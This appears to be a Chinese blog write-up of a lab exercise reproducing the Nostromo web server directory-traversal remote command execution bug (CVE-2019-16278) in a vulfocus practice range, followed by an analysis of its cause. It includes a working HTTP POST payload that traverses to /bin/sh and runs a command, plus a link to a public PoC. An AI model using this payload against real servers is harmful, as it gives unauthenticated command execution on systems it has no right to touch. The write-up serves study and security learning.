目录
也是成功把vulfocus镜像给整好了,而且竟然能成功拉取镜像!(我用的服务机是centos 7,以前都是kali 或 Ubuntu>-<)
启动靶场环境,在此之前,先了解一些基础的东西
(1)Nostromo 是一款开源的Web服务器,专为Unix/Linux系统设计,常用于嵌入式设备等
(2)此漏洞的根源是:Nostromo由于在验证URL安全性方面存在缺陷,导致目录穿越,任何人都可以遍历系统中任何文件。因此未经过身份验证的远程攻击者可以强制服务器指向/bin/sh这样的shell文件,借此执行任意命令。
影响版本:
Nostromo <= 1.9.6
漏洞利用
直接抓包
然后进行改包
POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0
Host: 192.168.57.143:9203
Content-Length: 26
echo
echo
ifconfig 2>&1
可以看到这里是可以直接执行命令的。
积累该POC直接运用
https://github.com/jas502n/CVE-2019-16278
然后再来学习一下该漏洞究竟是如何生成的。
漏洞成因
输入:/.%0d./.%0d./.%0d./.%0d./bin/sh
(1)首先,服务器会对我们的输入进行解码,使得输入变为:
/.\r./.\r./.\r./.\r./.\r./bin/sh \r为回车符
(2)接下来,Nostromo的路径解析函数(如http_proc)会将 \r 视为路径分隔符,导致路径被分割为:
/. . /. . /. . /. . /bin/sh
(3)然后服务器对分割后的路径进行规范化处理:
/../../../../bin/sh 从而得到了目录穿越的目的
(4)http_proc函数会调用 execve()执行命令